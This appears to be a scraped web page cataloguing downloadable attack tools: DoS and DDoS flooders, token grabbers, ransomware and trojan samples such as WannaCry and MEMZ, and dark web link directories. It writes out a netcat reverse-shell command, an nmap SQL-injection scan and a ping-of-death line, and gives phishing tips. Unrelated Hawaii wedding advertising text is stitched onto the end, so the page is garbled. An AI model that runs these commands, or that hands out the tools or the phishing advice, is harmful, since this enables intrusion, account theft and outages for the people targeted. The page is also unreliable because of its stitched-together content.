The links in bold may not work correctly, so the ones that aren't in bold have been tested out and worked 100% correctly. Note that the Dark Web Pug's Guide has more links either for drugs, Bitcoin mixers, and even CIA sites!
Dark Web Pug's Guide OnionLinks v3 The Hidden Wiki Another Hidden Wiki Wiki 3
Slammer (Python) Slammer Socks (Python) Slammer Terminal (Python) by CobraCommander.
A denial-of-service (DoS) attack is a type of cyber attack in which a malicious actor aims to render a computer or other device unavailable to its intended users by interrupting the device's normal functioning. DoS attacks typically function by overwhelming or flooding a targeted machine with requests until normal traffic is unable to be processed, resulting in denial-of-service to addition users. A DoS attack is characterized by using a single computer to launch the attack.
HTTP Flooder (Python) by Nasus
Requirements (TXT) MHViP (Python) README (MD). These files are a private paid DDPS
A distributed denial-of-service (DDoS) attack is a type of DoS attack that comes from many distributed sources, such as a botnet DDoS attack.
SaphryaDDOS (Python) Ping of Death (Python) UDP Flood (Python) by CobraCommander
Token Grabber (Python) by Alex Toucan
Token Grabber (Python) by wodxgod
Token Grabber (Python) by Wever
Token Grabber (7Z) Token Grabber (Python) by CobraCommander
Token Grabber (Python) by CУБΞЯC
Token Bruteforcer (Python) by Social404
Wever Recommends these steps
DCQPKX (EXE) WannaCry (EXE) WannaCry 2 (EXE) MyDOOM (IDB) GrandCab (BIN) Unknown Windows 8 RT Virus (MSU) MYDOOM (C) Infect Files (BAT) Homemade (EXE) by CobraCommander
Collection by Endermanch
From The Script Community: A Trojan horse in cybersecurity is any malware that misleads users of its true intent. It may look legitimate but can take control of your computer. A Trojan is designed to damage, disrupt, steal, or in general inflict some other harmful action on your data or network.
MEMZ Trojan (ZIP | Python) Trojan 1 (BAT) Trojan 2 (BAT) Trojan 3 (BAT) Trojan 4 (BAT) Trojan 5 (BAT) by CobraCommander
Networm (TXT) by CobraCommander
Doom (EXE) Techno (BAT) VirusCodes (TXT) Doom (BAT | Version 2) Unknown (BAT) Death (BAT) Crash (BAT) Unknown (BAT) Matrix (TXT) Script (BAT) Pinger and DDOS (RAR) MyDOOM_3 by CobraCommander
Reverse Shell Command on Netcat -
nc -e /bin/sh <IP_ADDRESS> 1234
Nmap on Kali Linux SQL Injection - nmap --script=http-sql-injection <target>
Ping of Death in “C” - ping <ip address> -t |65500
Social Engineering - "Spearhead phishing is effective but try something like whaling or watering hole" See Phishing Defintions


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There are beautiful tropical public beaches here on the Big Island of Hawaii . All the major resorts have a site fee for weddings whether you are a guest or not.
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Royal Weddings Hawaii -- Royal Kona Resort Weddings
The Royal Kona Resort offers pre-designed wedding packages to help you create the . Petal Path; Registration Table; Keepsake Hawaiian Wedding Certificate .
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